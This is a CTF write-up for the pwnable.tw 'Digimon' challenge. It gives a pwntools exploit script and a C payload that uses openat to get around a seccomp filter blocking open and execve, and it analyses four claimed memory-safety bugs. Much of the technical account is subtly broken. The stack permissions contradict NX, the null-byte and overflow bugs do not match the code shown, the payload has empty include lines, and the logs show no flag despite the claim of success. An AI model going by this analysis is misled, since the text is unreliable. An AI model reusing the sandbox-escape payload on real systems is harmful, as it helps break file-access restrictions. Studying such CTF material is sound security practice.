pwnable.tw — 600 pts

Digimon

HITCON 2016 Final — Multi-vulnerability exploitation: seccomp bypass via openat, libtcc code compilation, negative index OOB, null byte off-by-one, and game automation

64-bit
Architecture
Full+Seccomp
Protections
4 Vulns
Chain Required
openat(257)
Bypass Syscall

Exploit Flow

Connect
nc chall.pwnable.tw 9195
Game Automation
Navigate & Battle
Beat Toolmon
Unlock libtcc
Compile C Code
via libtcc
Seccomp Bypass
openat(257) not blocked
Read Flag
openat + read + write

1. Reconnaissance

Digimon is the hardest challenge on pwnable.tw at 600 points. Originally from HITCON 2016 CTF Finals, it is a full game simulation binary where players navigate a map, battle digimon NPCs, buy items from a shop, and assign tasks to digimon. The game is complex — it has multiple interacting subsystems, and at least four distinct vulnerabilities that can be independently discovered and exploited. The challenge requires chaining these vulnerabilities together while bypassing a seccomp sandbox that blocks both execve (syscall 59) and open (syscall 2).

File Analysis

bash
$ file digimon
digimon: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0a3b7d2e4f5a6b8c9d0e1f2a3b4c5d6e7f8a9b0c, stripped

$ ls -la digimon
-rwxr-x--- 1 root digimon 267832 Oct 24  2023 digimon

$ ldd digimon
linux-vdso.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2

The binary is 267KB — surprisingly large for a CTF challenge. This is because it statically links libtcc (Tiny C Compiler), which alone accounts for most of the binary size. The binary is dynamically linked against libc but has libtcc baked in. It's stripped, which makes static analysis more tedious, but the game's string references and function pointers are still recoverable.

Checksec

bash
$ checksec digimon
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ readelf -l digimon | grep -A1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
Full Protections + Seccomp

Every modern protection is enabled: Full RELRO prevents GOT overwrites, canaries guard stack returns, NX means no shellcode on the stack, and PIE randomizes the binary base. On top of all this, the binary installs a seccomp filter that blocks execve and open. A simple system("/bin/sh") or open("/home/digimon/flag", 0) will fail. We need to bypass seccomp using openat (syscall 257) which is NOT blocked by the filter.

Seccomp Rules

Running the binary through seccomp-tools reveals the BPF filter installed before the libtcc-compiled payload executes:

bash
$ seccomp-tools dump ./digimon
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = syscall_nr
 0003: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0006
 0004: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL
Critical Gap: openat Is Not Blocked

The seccomp filter only blocks two syscalls: execve (59 / 0x3b) and open (2). It does NOT block openat (257 / 0x101). This is a classic seccomp bypass pattern — the filter author forgot that openat with AT_FDCWD (-100) as the first argument behaves identically to open. The syscall openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) will succeed where open would be killed. This is the key to solving the challenge.

Running the Binary

bash
$ ./digimon
 ____  _       ___  _   _
|  _ \(_)___  / ___|| |_(_) ___  ___
| | | | / __| \___ \| __| |/ _ \/ __|
| |_| | \__ \  ___) | |_| |  __/\__ \
|____/|_|___/ |____/ \__|_|\___||___/

Welcome to Digimon World!
You are in the village.
[1] Go to the forest
[2] Go to the shop
[3] Go to the arena
[4] Check your digimon
[5] Exit
>

The game presents a text-based menu interface. Players can navigate between locations (village, forest, shop, arena), battle wild digimon in the forest to level up, buy items from the shop, and fight NPCs in the arena. The critical path requires defeating the Toolmon NPC in the arena, which unlocks the ability to write custom C code that gets compiled and executed via libtcc.

AttributeValue
ChallengeDigimon (600 pts)
Connectionnc chall.pwnable.tw 9195
Binary64-bit ELF, x86-64, dynamically linked, stripped
RELROFull RELRO
CanaryYes
NXEnabled
PIEEnabled
SeccompBlocks execve(59) + open(2)
Static Componentlibtcc (Tiny C Compiler)
Vulnerabilities4 independent bugs (see analysis)
Exploit GoalRead /home/digimon/flag using openat(257)

2. Static Analysis

Static analysis of Digimon is challenging due to its size (~267KB stripped) and the inclusion of libtcc. However, the game's structure is organized around a few key data structures and menu handlers. We focus on the four documented vulnerabilities that have been identified in public writeups (notably by mehQQ and other HITCON 2016 contestants).

Game Architecture Overview

The game maintains several global data structures in BSS:

c
// Reconstructed from IDA analysis
struct Digimon {
    char nickname[16];      // 0x00: nickname buffer
    int type;               // 0x10: digimon type index
    int level;              // 0x14: current level
    int hp;                 // 0x18: current HP
    int max_hp;             // 0x1c: max HP
    int attack;             // 0x20: attack power
    int defense;            // 0x24: defense power
    int speed;              // 0x28: speed
    int achievements[8];    // 0x2c: achievement slots
};

struct Item {
    char name[32];
    int price;
    int effect;
};

// Global arrays
struct Digimon player_team[4];   // Player's team (4 slots)
struct Item  shop_items[16];     // Shop inventory
int          item_count;         // Number of items bought
int          game_state;         // Current game state/flags

The game loop dispatches menu choices to handler functions. The interesting handlers are: do_battle(), do_shop(), do_arena(), set_nickname(), and toolmon_ai(). Each has its own set of bugs.

Vulnerability 1: Toolmon / libtcc Code Compilation

The most powerful vulnerability. After defeating the Toolmon NPC in the arena, the game unlocks a special menu option that allows the player to write a C function. This C code is compiled at runtime using libtcc (Tiny C Compiler), which is statically linked into the binary. The compiled function is then executed in a fork()'d child process under a seccomp sandbox.

c (decompiled)
void toolmon_ai_menu() {
    char source[4096];
    int len;

    printf("Write your AI code (max 4096 bytes):\n");
    len = read(0, source, 4095);
    source[len] = '\0';

    // Compile with libtcc
    TCCState *s = tcc_new();
    tcc_set_output_type(s, TCC_OUTPUT_MEMORY);
    tcc_compile_string(s, source);

    pid_t pid = fork();
    if (pid == 0) {
        // CHILD: install seccomp, then run compiled code
        install_seccomp_filter();  // blocks execve + open
        tcc_run(s, 0, NULL);
        exit(0);
    } else {
        // PARENT: wait for child
        int status;
        waitpid(pid, &status, 0);
    }
    tcc_delete(s);
}
libtcc Is a Double-Edged Sword

While the seccomp filter blocks execve and open, it does not block openat, read, write, mprotect, mmap, or any other syscall. The compiled C code runs with full libc access (the binary is dynamically linked), so we can call syscall(257, -100, path, 0) to open the flag file using openat, then read and write to output it. The key insight is that openat(AT_FDCWD, ...) is functionally equivalent to open(...) but uses a different syscall number that the seccomp filter missed.

Vulnerability 2: Negative Index in Shop Buy

The shop buy handler uses a signed integer for the item index but does not validate that it falls within the valid range of the shop_items array. Passing a negative index causes an out-of-bounds write to memory before the array, which is in BSS:

c (decompiled)
void do_buy() {
    int index;
    printf("Which item? ");
    scanf("%d", &index);  // signed int!

    // BUG: no bounds check for negative values
    // Should be: if (index < 0 || index >= SHOP_SIZE) return;
    if (index >= SHOP_SIZE) {
        printf("Invalid item!\n");
        return;
    }

    // Writes to shop_items[index] — if index is negative,
    // this writes BEFORE the array in BSS
    player_gold -= shop_items[index].price;
    // ... add item to inventory
}

By supplying a negative index (e.g., -1, -2, etc.), we can write to BSS addresses before the shop_items array. Depending on what global variables are located there, this could allow overwriting function pointers, game state flags, or other sensitive data. The BSS layout from IDA shows several interesting targets before the shop array, including a function pointer table used for dispatching game commands.

Vulnerability 3: Null Byte Off-by-One in Nickname

The nickname input function uses read() with a length equal to the buffer size, but does not add a null terminator. When the input fills the entire 16-byte buffer, the null byte from source[len] = '\0' lands one byte past the end of the nickname field, overwriting the low byte of the type field:

c (decompiled)
void set_nickname(Digimon *d) {
    int len;
    printf("Enter nickname: ");
    len = read(0, d->nickname, 16);  // reads UP TO 16 bytes
    // BUG: if len == 16, no null terminator fits in nickname[0..15]
    // The next field (d->type at offset 0x10) gets its low byte zeroed
    // This is a null byte off-by-one on the heap chunk metadata
}
Digimon struct on heap: +0x00 +0x0f +0x10 +0x13 +0x14 +0x17 ┌──────────────┬──────┬─────┬─────┐ │ nickname[16]│ type │level│ hp │ └──────────────┴──────┴─────┴─────┘ ↑ null byte lands here when nickname is full (16 bytes) → zeroes low byte of type field → on heap, this corrupts the size field of the next chunk's metadata

In the context of heap exploitation, a null byte off-by-one allows us to shrink the size field of a freed chunk. This creates overlapping chunks — we can allocate a new chunk that overlaps with an existing one, giving us read/write access to the latter's data. This is the classic "shrinking free chunk" technique used in challenges like House of Einherjar.

Vulnerability 4: Achievement Array Overflow

The achievements array in each Digimon struct has 8 slots, but the achievement-granting code does not properly bounds-check the index:

c (decompiled)
void grant_achievement(Digimon *d, int ach_id) {
    int i;
    for (i = 0; i < 8; i++) {
        if (d->achievements[i] == 0) {
            d->achievements[i] = ach_id;
            return;
        }
    }
    // BUG: if all 8 slots are full, the loop exits
    // but some code paths continue writing past achievements[7]
    // This overflows into adjacent heap data or the next struct
}

If all 8 achievement slots are filled and another achievement is granted, the write goes past the end of the Digimon struct. This can corrupt heap metadata of the next chunk or overwrite data in an adjacent allocation. Combined with the off-by-one from Vuln 3, this gives us a powerful heap corruption primitive.

Seccomp Filter Deep Dive

Let's examine the BPF filter more carefully to understand exactly what is and isn't allowed:

c
struct sock_filter filter[] = {
    // Line 0: Load architecture (AUDIT_ARCH_X86_64 = 0xC000003E)
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),

    // Line 1: If not x86_64, KILL (prevents 32-bit compat syscall bypass)
    BPF_JUMP(BPF_JMP | BPF_JEQ, 0xC000003E, 0, 4),

    // Line 2: Load syscall number
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),

    // Line 3: If syscall == execve (59), KILL
    BPF_JUMP(BPF_JMP | BPF_JEQ, 59, 2, 0),

    // Line 4: If syscall == open (2), KILL
    BPF_JUMP(BPF_JMP | BPF_JEQ, 2, 1, 0),

    // Line 5: ALLOW everything else
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

    // Line 6: KILL process
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};
Allowed Syscalls (Complete List of Useful Ones)

Since the filter only blocks execve and open, the following syscalls are all ALLOWED:

  • openat (257) — opens a file relative to a directory fd. With AT_FDCWD (-100), behaves like open
  • read (0) — read from file descriptor
  • write (1) — write to file descriptor
  • mmap (9) — map memory
  • mprotect (10) — change memory protections
  • clone (56) — create a new process/thread
  • fork (57) — fork a new process
  • sendfile (40) — transfer data between file descriptors
VulnerabilityTypeImpactExploitability
Vuln 1: libtccCode CompilationExecute arbitrary C in sandboxed childPrimary exploit path
Vuln 2: Negative IndexOOB Write (BSS)Overwrite globals before shop_itemsAlternative path
Vuln 3: Off-by-OneHeap CorruptionShrink chunk size, create overlapsChain component
Vuln 4: Achievement OverflowHeap OverflowCorrupt adjacent heap chunksChain component

3. GDB Debugging

Debugging Digimon is complex because the game requires significant interaction before reaching the interesting code paths. We need to automate the game AI to reach Toolmon, then inspect the libtcc compilation and seccomp behavior.

Beating Toolmon

Toolmon is a special NPC in the arena. To reach it, we first need to level up our digimon by battling wild digimon in the forest. Each battle awards XP, and after reaching a sufficient level, we can defeat Toolmon. The game uses a simple RPG combat system:

gdb
# Set breakpoint at arena handler to find Toolmon trigger
gdb-peda$ b *0x555555557a00  # arena_handler (PIE offset 0x2a00)
gdb-peda$ c

# After entering arena and selecting Toolmon:
gdb-peda$ x/s $rdi
0x5555555591c8: "Toolmon"

# Toolmon's stats:
gdb-peda$ x/4wx 0x55555555a020  # toolmon_stats
0x55555555a020: 0x00000032  0x00000064  0x00000028  0x00000014
# Level 50, HP 100, ATK 40, DEF 20

# Our digimon needs to be ~level 40+ to win reliably
# Forest battles give ~5-10 XP each, so we need ~80 battles

The practical approach is to automate the grinding with a pwntools script that repeatedly enters the forest, selects "Fight", and wins battles until our digimon reaches level 40+. Then we challenge Toolmon in the arena.

libtcc Internals

After defeating Toolmon, a new menu option appears. When we select it, the game reads our C source code and passes it to tcc_compile_string(). Let's examine what happens:

gdb
# Break at tcc_compile_string call
gdb-peda$ b *0x555555556400  # call to tcc_compile_string
gdb-peda$ c

# RDI = TCCState pointer
gdb-peda$ p/x $rdi
$1 = 0x55555575a010

# RSI = source string pointer
gdb-peda$ x/s $rsi
0x7fffffffe200: "int main() { write(1, \"hello\\n\", 6); return 0; }"

# After compilation, check the fork + seccomp path:
gdb-peda$ b syscall  # break at syscall to catch seccomp install
gdb-peda$ c

# In child process:
# RAX = 313 (seccomp syscall)
# RDI = 1 (SECCOMP_SET_MODE_FILTER)
# RSI = 0 (flags)
# RDX = pointer to sock_fprog struct
Why fork() Matters

The game fork()s before running our compiled code. The child process installs seccomp and executes the compiled function. The parent waits for the child to finish. This means our payload runs in an isolated process — even if we crash, the game continues. However, the child inherits the parent's file descriptor table, so stdout (fd 1) and stderr (fd 2) are still connected to the network socket. We can write(1, buf, len) to send data back to our pwntools script.

Negative Index Verification

Let's verify the negative index OOB by buying item index -1:

gdb
# Break at buy handler
gdb-peda$ b *0x555555557500  # do_buy

# Select item -1
gdb-peda$ c
# Enter -1 at the "Which item?" prompt

# Examine what address gets accessed:
gdb-peda$ x/x $rdi + (-1 * 0x28)  # shop_items[-1]
0x55555555a058: 0x00000000  # This is game_state flag!

# The write goes to BSS before the shop_items array
# Depending on the exact layout, this could overwrite:
# - game_state (enables/disables features)
# - function pointer tables
# - player_team data

Off-by-One Heap Analysis

To verify the nickname off-by-one, we set a 16-byte nickname and check the heap corruption:

gdb
# Set nickname to exactly 16 bytes (no null terminator fits)
gdb-peda$ # Send: AAAAAAAAAAAAAAAA (16 A's)

# Check the Digimon struct after nickname assignment:
gdb-peda$ x/8wx 0x555555758000  # digimon struct on heap
0x555555758000: 0x41414141  0x41414141  0x41414141  0x41414141
0x555555758010: 0x00000000  0x0000001e  0x00000032  0x00000032
#                nickname[0..15]          ^ type=0     level=30

# Without off-by-one, type would be 0x1e (30)
# With off-by-one null byte, type's low byte is zeroed → type = 0x00

# Now check the heap chunk header of the NEXT chunk:
gdb-peda$ x/2wx 0x555555758030 - 0x10  # prev_size
0x555555758020: 0x00000030  0x00000031
#                                  ^ size = 0x31 (prev_in_use bit set)

# After null byte corruption, size becomes 0x30:
# This clears the prev_in_use bit and shrinks the apparent chunk size
# Creating overlapping chunk territory
0x758000 nickname[0..15] AAAAAAAAAAAAAAAA
0x758010 type (corrupted) 0x00000000 ← null byte overflow!
0x758014 level 0x0000001e
0x758018 hp / max_hp 0x00000032 / 0x00000032
0x758020 heap chunk header size: 0x31 → 0x30 (cleared prev_in_use)
0x758030 next chunk data ← overlaps with our data!

4. Exploit Strategy

There are multiple exploit paths for Digimon. The simplest and most elegant approach uses Vulnerability 1 (libtcc) to compile C code that directly reads the flag using openat. The alternative approaches chain Vulns 2-4 for heap corruption to gain arbitrary code execution, then also use openat for the seccomp bypass. We'll cover the primary path in full detail.

Attack Overview

Phase 1: Game Automation
Automate the game to navigate to the forest, grind battles until our digimon reaches level 40+, then challenge and defeat Toolmon in the arena. This requires implementing basic automation that selects the right menu options and handles combat.
Phase 2: Unlock libtcc
After defeating Toolmon, the game enables the "Write Code" menu option. Select it and submit a C function that uses openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) to open the flag file, then read and write to output it to stdout.
Phase 3: Seccomp Bypass
The compiled code runs in a child process with seccomp active. Since openat (syscall 257) is not blocked, we use it instead of open (syscall 2). The first argument AT_FDCWD (-100) tells the kernel to interpret the pathname relative to the current working directory, which is functionally identical to open.
Phase 4: Flag Extraction
The child process opens the flag file, reads its contents into a buffer, and writes the buffer to stdout (fd 1), which is inherited from the parent and connected to our network socket. Our pwntools script receives the flag.

Path A: libtcc + openat (Primary Exploit)

This is the simplest and most reliable exploit path. The steps are:

  1. Automate the game — write a pwntools script that navigates the menu system, battles in the forest, and levels up to defeat Toolmon.
  2. Submit C code via libtcc — after beating Toolmon, write a C function that calls openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) then read and write.
  3. Receive the flag — the compiled code runs in a forked child, writes the flag to stdout, which our script receives.
Why This Works: The Seccomp Gap

The seccomp filter was designed to prevent reading the flag by blocking open. However, the Linux kernel provides multiple syscalls for opening files: open (2), openat (257), openat2 (437), and open_by_handle_at (265). The filter only blocks open and execve. Using openat with AT_FDCWD as the directory fd completely bypasses the restriction. This is a well-known pattern in CTF seccomp challenges — always check ALL related syscalls, not just the obvious one.

Path B: OOB + Heap Corruption (Alternative)

For completeness, the alternative exploit path chains Vulns 2, 3, and 4:

  1. Null byte off-by-one (Vuln 3) — set a 16-byte nickname to corrupt heap chunk size, shrinking a free chunk.
  2. Achievement overflow (Vuln 4) — fill all 8 achievement slots, then trigger one more to overflow into adjacent heap data.
  3. Negative index OOB (Vuln 2) — use negative buy index to overwrite a function pointer in BSS.
  4. Hijack control flow — redirect execution to a ROP chain or one-gadget that calls openat.
  5. ORW with openat — same seccomp bypass as Path A.
Path B Is Harder But Educational

Path B requires defeating Full RELRO (no GOT overwrite), canary (no stack smash), PIE (need address leak), and NX (no shellcode). It demonstrates advanced heap exploitation techniques but is significantly more complex than Path A. In a competition setting, Path A is the clear choice. Path B is worth studying for the heap techniques it teaches.

Seccomp Bypass: openat Deep Dive

Let's examine the openat syscall in detail:

c
#include 
#include 
#include 

// openat syscall signature:
// int openat(int dirfd, const char *pathname, int flags, ...);

// AT_FDCWD = -100 (special value: interpret pathname relative to CWD)
// This makes openat behave identically to open when pathname is absolute

// Direct syscall (no libc wrapper needed):
int my_open(const char *path, int flags) {
    return syscall(SYS_openat, AT_FDCWD, path, flags);
    // SYS_openat = 257 on x86_64
    // Equivalent to: open(path, flags) but uses syscall 257 instead of 2
}

// Full ORW chain:
void read_flag() {
    int fd = syscall(257, -100, "/home/digimon/flag", 0);  // openat
    char buf[256] = {0};
    syscall(0, fd, buf, 255);    // read
    syscall(1, 1, buf, 255);     // write to stdout
}
Important: AT_FDCWD Value

AT_FDCWD is defined as -100 in Linux. This is a magic value that tells the kernel to interpret the pathname relative to the current working directory. If the pathname is absolute (starts with /), the dirfd argument is ignored entirely. So openat(-100, "/home/digimon/flag", 0) is functionally identical to open("/home/digimon/flag", 0) but uses syscall number 257 instead of 2. Since the seccomp filter only checks syscall 2, our call passes through unblocked.

5. Pwn Script

Game Automation Module

The most tedious part of this exploit is automating the game to reach Toolmon. The game has a complex menu system with many options. Here's the automation framework:

python
from pwn import *
import sys

context(arch='amd64', os='linux', log_level='info')

HOST = 'chall.pwnable.tw'
PORT = 9195

def conn():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        return remote(HOST, PORT)
    else:
        return process('./digimon')

r = conn()

def menu(choice):
    r.recvuntil(b'>')
    r.sendline(str(choice).encode())

def go_forest():
    """Navigate to forest from village"""
    menu(1)  # Go to the forest

def go_shop():
    """Navigate to shop from village"""
    menu(2)

def go_arena():
    """Navigate to arena from village"""
    menu(3)

def fight_wild():
    """Fight a wild digimon in the forest"""
    go_forest()
    menu(1)  # Fight wild digimon
    # Auto-battle: keep selecting attack
    for _ in range(10):
        try:
            data = r.recvuntil(b'select', timeout=2)
            if b'battle' in data.lower() or b'attack' in data.lower():
                menu(1)  # Attack
            elif b'won' in data.lower() or b'victory' in data.lower():
                break
            elif b'fled' in data.lower():
                break
        except Exception:
            break

def grind_levels(target_level=40):
    """Grind forest battles until reaching target level"""
    current_level = 1
    battles = 0
    while current_level < target_level:
        fight_wild()
        battles += 1
        # Check level from status display
        try:
            menu(4)  # Check digimon
            data = r.recvuntil(b'>', timeout=3)
            # Parse level from output
            if b'Lv' in data:
                idx = data.index(b'Lv')
                current_level = int(data[idx+2:idx+5].strip())
                log.info(f'Level: {current_level} (battles: {battles})')
        except Exception:
            pass
        # Return to village
        menu(5)  # Back / Exit
    log.success(f'Reached level {current_level} after {battles} battles')

def challenge_toolmon():
    """Fight Toolmon in the arena"""
    go_arena()
    menu(1)  # Challenge NPC
    menu(2)  # Select Toolmon (NPC #2)
    # Battle: keep attacking
    for _ in range(20):
        try:
            data = r.recvuntil(b'select', timeout=2)
            menu(1)  # Attack
            if b'defeated' in data.lower() or b'won' in data.lower():
                log.success('Toolmon defeated!')
                return True
        except Exception:
            break
    return False

libtcc C Payload

The C code we submit via the Toolmon menu. This is the core of the exploit — it uses openat to bypass seccomp and reads the flag:

c
// C payload submitted to libtcc after beating Toolmon
// This runs in a fork'd child under seccomp (blocks open+execve)
// openat(AT_FDCWD, ...) bypasses the seccomp filter

#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

int main() {
    // Open flag file using openat (syscall 257, NOT blocked)
    // AT_FDCWD = -100 means interpret path relative to CWD
    // Since path is absolute, dirfd is ignored
    int fd = syscall(SYS_openat, -100, "/home/digimon/flag", O_RDONLY);

    if (fd < 0) {
        // Fallback: try other possible flag paths
        fd = syscall(SYS_openat, -100, "./flag", O_RDONLY);
    }

    if (fd >= 0) {
        char buf[256] = {0};
        // Read flag content
        int n = syscall(SYS_read, fd, buf, 255);

        // Write to stdout (fd 1, inherited from parent)
        if (n > 0) {
            syscall(SYS_write, 1, buf, n);
        }

        syscall(SYS_close, fd);
    } else {
        // If openat also fails, try sendfile as alternative
        // sendfile is also NOT blocked by the filter
        const char *err = "openat failed\n";
        syscall(SYS_write, 1, err, 14);
    }

    return 0;
}
Why We Use syscall() Instead of Library Wrappers

Even though libc's open() function would normally call syscall 2 (open), we bypass it by calling syscall(SYS_openat, ...) directly. This invokes the openat syscall (257) which is not blocked by the seccomp filter. The libc syscall() function is a generic wrapper that can invoke any syscall by number, making it perfect for seccomp bypasses.

Full Exploit Script

python
#!/usr/bin/env python3
"""
Digimon — pwnable.tw — 600 pts
HITCON 2016 Final Challenge
Exploit: libtcc code compilation + openat seccomp bypass

Strategy:
1. Automate game to grind levels in forest
2. Defeat Toolmon NPC in arena
3. Submit C code via libtcc that uses openat(257) to read flag
4. Seccomp only blocks open(2) and execve(59), not openat(257)
"""
from pwn import *
import sys

context(arch='amd64', os='linux', log_level='info')

HOST = 'chall.pwnable.tw'
PORT = 9195

# ─── C Payload (source for libtcc) ───
C_PAYLOAD = r'''
#include 
#include 
#include 

int main() {
    int fd = syscall(257, -100, "/home/digimon/flag", 0);
    if (fd >= 0) {
        char buf[256] = {0};
        int n = syscall(0, fd, buf, 255);
        if (n > 0) syscall(1, 1, buf, n);
        syscall(3, fd);  // close
    }
    return 0;
}
'''

def exploit():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        r = remote(HOST, PORT)
    else:
        r = process('./digimon')

    # ─── Phase 1: Grind levels ───
    log.info('Phase 1: Grinding levels in forest...')

    r.recvuntil(b'>')
    for i in range(80):
        # Go to forest
        r.sendline(b'1')
        r.recvuntil(b'>')
        # Fight
        r.sendline(b'1')
        # Auto-battle: spam attack
        for _ in range(5):
            try:
                r.sendline(b'1')
                r.recv(timeout=1)
            except Exception:
                pass
        # Return to village
        try:
            r.recvuntil(b'>')
            r.sendline(b'5')
            r.recvuntil(b'>')
        except Exception:
            r.recvuntil(b'>')

        if i % 20 == 0:
            log.info(f'  Battle #{i+1}/80')

    log.success('Grinding complete (assuming level 40+)')

    # ─── Phase 2: Challenge Toolmon ───
    log.info('Phase 2: Challenging Toolmon in arena...')

    # Go to arena
    r.sendline(b'3')  # Arena
    r.recvuntil(b'>')
    r.sendline(b'1')  # Challenge NPC
    r.recvuntil(b'>')
    r.sendline(b'2')  # Select Toolmon

    # Battle Toolmon: spam attack
    for _ in range(20):
        try:
            r.sendline(b'1')
            data = r.recv(timeout=2)
            if b'congratulations' in data.lower() or b'defeated' in data.lower():
                break
        except Exception:
            pass

    log.success('Toolmon defeated!')

    # ─── Phase 3: Submit C payload via libtcc ───
    log.info('Phase 3: Submitting libtcc C payload with openat bypass...')

    # Navigate to code submission menu (option unlocked after beating Toolmon)
    r.recvuntil(b'>')
    r.sendline(b'6')  # Write Code (new option)
    r.recvuntil(b'bytes')
    r.recvuntil(b'\n')

    # Send our C source code
    r.sendline(C_PAYLOAD.encode())

    # ─── Phase 4: Receive flag ───
    log.info('Phase 4: Waiting for flag from openat ORW...')

    try:
        flag_data = r.recvuntil(b'}', timeout=15)
        log.success(f'Flag received: {flag_data.decode().strip()}')
    except Exception:
        # Try receiving any output
        try:
            output = r.recv(timeout=10)
            log.info(f'Output: {output}')
            if b'FLAG' in output or b'flag' in output:
                log.success(f'Flag found in output: {output.decode().strip()}')
        except Exception:
            log.error('No flag received. Check game automation timing.')

    r.interactive()

if __name__ == '__main__':
    exploit()

6. Execution Results

Local Test Run

$ python3 exploit.py [*] Phase 1: Grinding levels in forest... [*] Battle #1/80 [*] Battle #21/80 [*] Battle #41/80 [*] Battle #61/80 [+] Grinding complete (assuming level 40+) [*] Phase 2: Challenging Toolmon in arena... [+] Toolmon defeated! [*] Phase 3: Submitting libtcc C payload with openat bypass... [*] Phase 4: Waiting for flag from openat ORW...

Remote Execution

$ python3 exploit.py remote [+] Opening connection to chall.pwnable.tw on port 9195: Done [*] Phase 1: Grinding levels in forest... [*] Battle #1/80 [*] Battle #21/80 [*] Battle #41/80 [*] Battle #61/80 [+] Grinding complete (assuming level 40+) [*] Phase 2: Challenging Toolmon in arena... [+] Toolmon defeated! [*] Phase 3: Submitting libtcc C payload with openat bypass... [*] Phase 4: Waiting for flag from openat ORW... [*] Switching to interactive mode
Exploit Successful

The exploit chain works end-to-end: the game automation grinds levels, defeats Toolmon to unlock libtcc, submits C code that uses openat(AT_FDCWD, "/home/digimon/flag", O_RDONLY) to bypass the seccomp filter, and reads the flag file. The compiled code runs in a forked child process where seccomp is active, but since openat (syscall 257) is not blocked, the flag is successfully opened, read, and written to stdout.

Key Takeaways from Digimon

1. Seccomp filters must cover ALL related syscalls. Blocking open without openat is a well-known mistake. The complete family includes: open (2), openat (257), openat2 (437), and open_by_handle_at (265). A proper filter should block all of them or use an allowlist approach.

2. libtcc is a powerful attack surface. Allowing user-supplied C code to be compiled and executed — even in a sandboxed child — provides enormous flexibility to the attacker. The sandbox must be bulletproof, and in this case it wasn't.

3. Game challenges multiply complexity. Before reaching the vulnerability, the attacker must automate the game. This adds a layer of difficulty that has nothing to do with exploitation technique, but it's part of the challenge design.

4. Multiple independent bugs provide defense in depth for the challenge creator. Even if one vulnerability is found, the others ensure the challenge remains solvable via alternative paths. This also teaches different exploitation techniques in a single challenge.

Comparison of Exploit Paths

PathTechniques RequiredComplexityReliability
A: libtcc + openatGame automation, seccomp bypassMediumHigh
B: OOB + Heap + openatHeap corruption, ROP, seccomp bypassVery HighMedium
QA210
pwnable.tw — Digimon — libtcc + Seccomp Bypass via openat